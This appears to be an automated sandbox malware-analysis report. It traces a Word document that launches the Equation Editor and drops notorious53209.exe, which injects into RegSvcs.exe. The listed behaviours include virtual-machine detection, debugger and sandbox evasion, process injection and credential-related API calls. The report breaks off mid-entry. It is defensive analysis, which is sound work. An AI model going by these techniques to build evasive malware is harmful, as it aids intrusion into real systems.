Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

API/Special instruction interceptor: Address: 163224

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window / User API: threadDelayed 9633

Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_10-99459

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

API coverage: 4.7 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3424

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00294696 GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00294696
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029C93C FindFirstFileW,FindClose,	10_2_0029C93C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0029C9C7
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0029F200
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0029F35D
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0029F65E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00293A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00293A2B
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00293D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00293D4E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0029BF27

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00234AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00234AFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	API call chain: ExitProcess graph end node	graph_10-99821
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	API call chain: ExitProcess graph end node	graph_10-98163
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	API call chain: ExitProcess graph end node	graph_10-99058

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 12_2_01E440F9 LdrInitializeThunk,

12_2_01E440F9

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002A41FD BlockInput,

10_2_002A41FD

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00233B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00233B4C

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00265CCC RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

10_2_00265CCC

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0034F090 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

10_2_0034F090

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00163490 mov eax, dword ptr fs:[00000030h]	10_2_00163490
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_001634F0 mov eax, dword ptr fs:[00000030h]	10_2_001634F0
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00161E70 mov eax, dword ptr fs:[00000030h]	10_2_00161E70

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002881F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

10_2_002881F7

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025A364 SetUnhandledExceptionFilter,		10_2_0025A364
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		10_2_0025A395

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008

Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00288C93 LogonUserW,

10_2_00288C93

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

